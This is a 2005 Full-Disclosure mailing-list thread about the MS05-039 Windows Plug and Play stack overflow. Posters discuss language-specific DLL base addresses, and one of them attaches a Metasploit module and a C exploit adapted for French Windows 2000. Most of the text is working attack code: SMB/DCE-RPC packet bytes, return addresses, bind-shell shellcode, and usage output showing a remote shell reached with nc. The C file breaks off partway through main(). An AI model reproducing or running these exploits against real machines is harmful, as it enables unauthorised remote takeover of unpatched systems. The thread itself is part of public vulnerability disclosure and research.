Re: [Full-disclosure] MS05_039 Exploitation (different languages)

for the MS holes such this, yeah this is always like this because all
windows are differents, and about the langages if I remember the french
offets are like the deutsch, nl, etc , when you have a lot of free time you
can find out some OS langages using the same offsets.

************************************************** **************
KEY: 0xA7C69C5F
PRINT: 694C 3495 BCC4 2F8B D794 6BD4 AF8B 457B A7C6 9C5F
************************************************** **************


----- Original Message -----
From: "Roman Medina-Heigl Hernandez" <roman@rs-labs.com>
To: <full-disclosure@lists.grok.org.uk>
Cc: <bugtraq@securityfocus.com>
Sent: Thursday, August 25, 2005 6:36 PM
Subject: [Full-disclosure] MS05_039 Exploitation (different languages)


| -----BEGIN PGP SIGNED MESSAGE-----
| Hash: SHA1
|
| Hi,
|
| I tested existing exploits for PnP bug on my W2k SP4 machine (Spanish)
| and they didn't work ("services" process is crashing but I got no
| shell). So I did a quick review with Olly and I realized that
| umpnpmgr.dll is being loaded at a different base address. In Spanish
| systems this base address is 0x76770000 but current exploits are
| assumming (I guess) 0x767a0000. Then I did a quick hack to HOD's exploit
| and it worked perfectly. I also modified Metasploit's module and
| included a target for Spanish systems. I've attached resulting exploits
| (they are trivial, though).
|
| Is it usual that Windows DLLs have different base address across same
| Windows/SP versions (but different languages)?
|
|
| - --
|
| Cheers,
| - -Roman
|
| PGP Fingerprint:
| 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
| [Key ID: 0xEAD56742. Available at KeyServ]
| -----BEGIN PGP SIGNATURE-----
| Version: GnuPG v1.4.0 (MingW32)
|
| iD8DBQFDDfOr5H+KferVZ0IRAiZKAKDJ0A1RT+iyFcJipN3k56 YEmzctqACePS5e
| aUJNlnMEsftew1Yn993iGJY=
| =XE3r
| -----END PGP SIGNATURE-----
|


----------------------------------------------------------------------------
----


| _______________________________________________
| Full-Disclosure - We believe in it.
| Charter: http://lists.grok.org.uk/full-disclosure-charter.html
| Hosted and sponsored by Secunia - http://secunia.com/

[Fabrice MOURRON]

--=-SfIi1JY3mdtnhGbOGbtg
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 8bit

Hi Roman,

I assure you that the address is also different for the French language.
With the similar review with ollydbg, the base address for me is
0x76740000. I've attached the resulting exploit and Metasploit's module
for french's system.

Regards,

--
Fabrice MOURRON ----- Consultant en sécurité des systèmes d'information
fmourron@exaprobe.com ------[ ExaProbe ]------ http://www.exaprobe.com/

PGP KeyID: 20D22266
FingerPrint: 767E CB52 94D3 7AEF DD21 BD2F 4D5C 6E6D 20D2 2266


Le jeudi 25 août 2005 à 18:36 +0200, Roman Medina-Heigl Hernandez a
écrit :
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi,
>
> I tested existing exploits for PnP bug on my W2k SP4 machine (Spanish)
> and they didn't work ("services" process is crashing but I got no
> shell). So I did a quick review with Olly and I realized that
> umpnpmgr.dll is being loaded at a different base address. In Spanish
> systems this base address is 0x76770000 but current exploits are
> assumming (I guess) 0x767a0000. Then I did a quick hack to HOD's exploit
> and it worked perfectly. I also modified Metasploit's module and
> included a target for Spanish systems. I've attached resulting exploits
> (they are trivial, though).
>
> Is it usual that Windows DLLs have different base address across same
> Windows/SP versions (but different languages)?
>
>
> - --
>
> Cheers,
> - -Roman
>
> PGP Fingerprint:
> 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742
> [Key ID: 0xEAD56742. Available at KeyServ]
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.0 (MingW32)
>
> iD8DBQFDDfOr5H+KferVZ0IRAiZKAKDJ0A1RT+iyFcJipN3k56 YEmzctqACePS5e
> aUJNlnMEsftew1Yn993iGJY=
> =XE3r
> -----END PGP SIGNATURE-----


--=-SfIi1JY3mdtnhGbOGbtg
Content-Disposition: attachment; filename=ms05_039_pnp_french.pm
Content-Type: application/x-perl; name=ms05_039_pnp_french.pm
Content-Transfer-Encoding: 7bit


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ms05_039_pnp_french;
use base "Msf::Exploit";
use strict;

use Pex:CERPC;
use Pex::x86;

my $advanced =
{
'FragSize' => [256, 'The application fragment size to use with DCE RPC'],
'DirectSMB' => [0, 'Use the direct SMB protocol (445/tcp) instead of SMB over NetBIOS'],
};

my $info =
{
'Name' => 'Microsoft PnP MS05-039 Overflow',
'Version' => '$Revision: 1.4 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 139],

# Optional pipe name
'SMBPIPE' => [1, 'DATA', 'Pipe name: browser, srvsvc, wkssvc', 'browser'],

# SMB connection options
'SMBUSER' => [0, 'DATA', 'The SMB username to connect with', ''],
'SMBPASS' => [0, 'DATA', 'The password for specified SMB username', ''],
'SMBDOM' => [0, 'DATA', 'The domain for specified SMB username', ''],
},

'Payload' =>
{
'Space' => 1000,
'BadChars' => '',
'Keys' => ['-ws2ord'], # no winsock in services.exe
'MaxNops' => 0,
'MinNops' => 0,
},

'DefaultTarget' => -1,

'Targets' =>
[
#[ 'Windows 2000 SP0-SP4', 0x767a38f6 ], # umpnpmgr.dll
[ 'Windows 2000 SP4 French', 0x767438f6 ] # French target by ExaProbe <fmourron@exaprobe.com>
#[ 'Windows 2000 SP4 Spanish', 0x767738f6 ]
],

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Windows
Plug and Play service. This vulnerability can be exploited on Windows
2000 without a valid user account. Since the PnP service runs inside
the service.exe process, a failed exploit attempt will cause the system
to automatically reboot.
}),

'Refs' =>
[
['OSVDB', '18605'],
['CVE', '2005-1983'],
['BID', '14513'],
['MSB', 'MS05-039'],
['URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'],
['MIL', '87'],
],

'Keys' => ['pnp'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fragSize = $self->GetVar('FragSize') || 256;

if ( $self->ProbePNP($target_host, $target_port, $fragSize, 'A' )) {
$self->PrintLine("[*] This system appears to be vulnerable");
return $self->CheckCode('Appears');
}

$self->PrintLine("[*] This system does not appear to be vulnerable");
return $self->CheckCode('Unknown');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fragSize = $self->GetVar('FragSize') || 256;
my $target_idx = $self->GetVar('TARGET');
my $target = $self->Targets->[$target_idx];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $return = pack('V', $target->[1]);
my $request =

# Get to seh next ptr
RandomData(0x38) .

# SEH Next / jmp to shellcode
Pex::x86::JmpShort('$+32') . RandomData(2) .

# SEH Handler
$return .
RandomData(20) .

# ResourceName - cause access violation on RtlInitUnicodeString
RandomData(3) . "\xff" .

# shellcode!
$shellcode;

$self->ProbePNP($target_host, $target_port, $fragSize, $request);
return;
}

sub ProbePNP {
my $self = shift;
my $target_host = shift;
my $target_port = shift;
my $fragSize = shift;
my $request = shift;
my $target_name = '*SMBSERVER';

my $cs_des =

# CS_DES
# CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags
# GUID and then the dataz
pack('VVVV', 0, 0, length($request), 0) . RandomData(16) . $request;

# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
my $stub =

# ResourceName:
# our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID
NdrUnicodeConformantVaryingString('a\\b\\c') .

# ResourceID:
# 0xffff - ResType_ClassSpecific
NdrLong(0xffff) .

# ResourceData
# our CS_DES structure
NdrUniConformantArray($cs_des) .

# ResourceLen (I'm guessing the server double checks this?)
NdrLong(length($cs_des)) .

# OutputLen
# Need to be atleast 4...
NdrLong(4) .

# Flags
# unused? something said it must be zero?...
NdrLong(0);

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}

my $x = Pex::SMB->new({ 'Socket' => $s });

if ($target_port != 445 && ! $self->GetVar('DirectSMB')) {
$x->SMBSessionRequest($target_name);
if ($x->Error) {
$self->PrintLine("[*] Session request failed for $target_name");
return;
}
}

$x->Encrypted(1);
$x->SMBNegotiate();
$x->SMBSessionSetup (
$self->GetVar('SMBUSER'),
$self->GetVar('SMBPASS'),
$self->GetVar('SMBDOM')
);

if ($x->Error) {
$self->PrintLine("[*] Failed to establish a null session");
return;
}

$target_name = $x->DefaultNBName;

# Left in OS detection, might be useful for exploitation..
if ($x->PeerNativeOS eq 'Windows 5.0') {
$self->PrintLine("[*] Detected a Windows 2000 target ($target_name)");
} else {
$self->PrintLine("[*] No target available for ".$x->PeerNativeOS." ($target_name)");
return;
}

$x->SMBTConnect("\\\\".$target_name."\\IPC\$");
if ($x->Error) {
$self->PrintLine("[*] Failed to connect to the IPC share");
return;
}

my ($bind, $ctx) = Pex:CERPC::BindFakeMulti(
Pex:CERPC::UUID_to_Bin('8d9f4e40-a03d-11ce-8f69-08003e30051b'),
'1.0'
);

# PNP_QueryResConfList what what
my (@DCE) = Pex:CERPC::Request(0x36, $stub, $fragSize, $ctx);

$x->SMBCreate('\\'. $self->GetVar('SMBPIPE'));
if ($x->Error) {
$self->PrintLine("[*] Failed to create pipe to NTSVCS");
return;
}

$x->SMBTransNP($x->LastFileID, $bind);
if ($x->Error) {
$self->PrintLine("[*] Failed to bind to NTSVCS over DCE RPC: ".$x->Error);
return;
}

if (scalar(@DCE) > 1) {
my $offset = 0;
$self->PrintLine("[*] Sending ".(scalar(@DCE)-1)." DCE request fragments...");

while (scalar(@DCE != 1)) {
my $chunk = shift(@DCE);
$x->SMBWrite($x->LastFileID, $offset, $chunk);
$offset += length($chunk);
}
}

$self->PrintLine("[*] Sending the final DCE fragment");
my $res = $x->SMBTransNP($x->LastFileID, $DCE[0]);
if ($res && $res->Get('data_bytes')) {
my $dce = Pex:CERPC:ecodeResponse($res->Get('data_bytes'));
if ($dce->{'StubData'} eq "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00" ) {
return 1;
}
}

return;
}

sub RandomData {
my $length = shift;

my $data = '';

while($length--) {
$data .= chr(int(rand(256)));
}

return($data);
}

sub Unicode {
my $str = shift;
my $unicode = '';

foreach my $char (split('', $str)) {
$unicode .= $char . "\x00";
}

return($unicode);
}

sub DwordAlign {
my $length = shift;

return RandomData((4 - ($length & 3)) & 3);
}

sub NdrLong {
my $val = shift;
return pack('V', $val);
}

sub NdrUnicodeConformantVaryingString {
my $str = shift;

# ndr conformant varying string
# count includes null terminator
# maximum count - offset - actual count
my $data = pack('VVV', length($str)+1, 0, length($str)+1);

$data .= Unicode($str . "\x00");

$data .= DwordAlign(length($data));

return($data);
}

sub NdrUniConformantArray {
my $bytes = shift;
my $len = @_ ? shift : length($bytes);

# ndr uni-demensional conformant array
# actual count
my $data = pack('V', $len);

$data .= $bytes;

$data .= DwordAlign(length($data));

return($data);
}

1;

--=-SfIi1JY3mdtnhGbOGbtg
Content-Disposition: attachment; filename=HOD-ms05039-pnp-expl-french.c
Content-Type: text/x-csrc; name=HOD-ms05039-pnp-expl-french.c; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit

/*
* HOD-ms05039-pnp-expl-french.c [25.Aug.2005]
* Very slightly modified version by Fabrice MOURRON <fmourron@exaprobe.com>
* Tested on Win2k SP4 Frencg
* Original credits & comments follow.
*/


/* HOD-ms05039-pnp-expl.c: 2005-08-10: PUBLIC v.0.2
*
* Copyright (c) 2005 houseofdabus.
*
* (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow
* Universal Exploit + no crash shellcode
*
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* ---------------------------------------------------------------------
* Description:
* A remote code execution and local elevation of privilege
* vulnerability exists in Plug and Play that could allow an
* attacker who successfully exploited this vulnerability to take
* complete control of the affected system.
*
* This is a remote code execution and local privilege elevation
* vulnerability. On Windows 2000, an anonymous attacker could
* remotely try to exploit this vulnerability.
*
* On Windows XP Service Pack 1, only an authenticated user could
* remotely try to exploit this vulnerability.
* On Window XP Service Pack 2 and Windows Server 2003, only an
* administrator can remotely access the affected component.
* Therefore, on Windows XP Service Pack 2 and Windows Server 2003,
* this is strictly a local privilege elevation vulnerability.
* An anonymous user cannot remotely attempt to exploit this
* vulnerability on Windows XP Service Pack 2 and Windows
* Server 2003.
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/sec.../MS05-039.mspx
*
* ---------------------------------------------------------------------
* Systems Affected:
* - Windows Server 2003, SP1
* - Windows XP SP1, SP2
* - Windows 2000 SP4
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows 2000 SP4
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
* Win32/cygwin: gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
* Linux : gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
*
* ---------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms05039-pnp-expl 192.168.0.1 7777
*
*[*] connecting to 192.168.0.22:445...ok
*[*] null session...ok
*[*] bind pipe...ok
*[*] sending crafted packet...ok
*[*] check your shell on 192.168.0.1:7777
* Ctrl+C
*
* C:\>nc 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#endif


unsigned char SMB_Negotiate[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\ x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\ x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\ x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\ x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\ x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\ x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\ x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";


unsigned char SMB_SessionSetupAndX[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\ x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\ x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\ x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\ x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\ x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\ x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\ x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


unsigned char SMB_SessionSetupAndX2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\ x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\ x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\ x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\ x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\ x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\ x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\ xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\ x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\ x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\ x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\ x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\ x00\x00";


unsigned char SMB_TreeConnectAndX[] =
"\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\ x00\x2F\x00\x00";



unsigned char SMB_TreeConnectAndX_[] =
"\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";


/* browser */
unsigned char SMB_PipeRequest_browser[] =
"\x00\x00\x00\x66\xFF\x53\x4D\x42\xA2\x00\x00\x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x08\x78\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x10\x00\ x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\ x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\ x72\x00\x6F\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";


unsigned char SMB_PNPEndpoint[] =
/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x08\x78\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\ x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\ x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\ x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x0B\x03\ x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\ x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\ x3D\xA0\xCE\x11"
"\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\ x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\ x02\x00\x00\x00";



unsigned char RPC_call[] =
"\x00\x00\x08\x90\xFF\x53\x4D\x42\x25\x00\x00\x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x08\x78\x04"
"\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\ x08\x54\x00\x02"
"\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\ x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x00\x03\ x10\x00\x00\x00"
"\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\ x00\x00\x36\x00"
"\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\ x52\x00\x4F\x00"
"\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\ x54\x00\x45\x00"
"\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\ x00\x00\x00\x00"
"\xFF\xFF\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00"
"\xC0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\ x90\x90\x90\x90"
"\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\ x67\x15\x77\x76"
"\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\ x67\x15\x77\x76"
"\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\ x67\x15\x77\x76"
"\xEB\x08\x90\x90\x67\x15\x77\x76\xEB\x08\x90\x90\ x67\x15\x77\x76"

/* jmp over - entry point */
"\xEB\x08\x90\x90"

/* pop reg; pop reg; retn; - umpnpmgr.dll for french*/
"\x67\x15\x74\x76" /* 0x76741567 */

/* jmp ebx - umpnpmgr.dll (BROKEN)
"\x6f\x36\x77\x76" */

"\xEB\x08\x90\x90\x67\x15\x77\x76"
"\x90\x90\x90\x90\x90\x90\x90\xEB\x08\x90\x90\x48\ x4F\x44\x88\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90";


unsigned char RPC_call_end[] =
"\xE0\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" ;


unsigned char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\ xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\ x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\ xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\ x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\ x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\ x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\ x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\ x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\ x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\ xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\ x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\ x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\ xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\ x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\ x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\ xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\ xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\ x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\ xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\ xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";

#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)


void
convert_name(char *out, char *name)
{
unsigned long len;

len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = '\x00';
*out-- = name[len];
}
}



int
main (int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *he;
int len;
int sockfd;
unsigned short smblen;
unsigned short bindport;
unsigned char tmp[1024];
unsigned char packet[4096];
unsigned char *ptr;
char recvbuf[4096];

#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
#endif

printf("\n (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow\n");
printf("\t Universal Exploit + no crash shellcode\n\n");
printf("\t [French hack by ExaProbe :-)]\n\n\n");
printf("\t Copyright (c) 2005 .: houseofdabus :.\n\n\n");


if (argc < 3) {
printf("%s <host> <bind port>\n", argv[0]);
exit(0);
}

if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %s\n", argv[1]);
exit(0);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] socket failed\n");
exit(0);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(445);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '\0', 8);



printf("\n[*] connecting to %s:445...", argv[1]);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("\n[-] connect failed\n");
exit(0);
}
printf("ok\n");

printf("[*] null session...");
if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 10) {
printf("\n[-] failed\n");
exit(0);
}

if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

ptr = packet;
memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
ptr += sizeof(SMB_TreeConnectAndX)-1;

sprintf(tmp, "\\\\%s\\IPC$", argv[1]);
convert_name(ptr, tmp);
smblen = strlen(tmp)*2;
ptr += smblen;
smblen += 9;
memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
ptr += sizeof(SMB_TreeConnectAndX_)-1;

smblen = ptr-packet;
smblen -= 4;
memcpy(packet+3, &smblen, 1);

if (send(sockfd, packet, ptr-packet, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

printf("ok\n");
printf("[*] bind pipe...");

if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
printf("\n[-] failed\n");
exit(0);
}

printf("ok\n");
printf("[*] sending crafted packet...");

// nop
ptr = packet;
memset(packet, '\x90', sizeof(packet));

// header & offsets
memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
ptr += sizeof(RPC_call)-1;

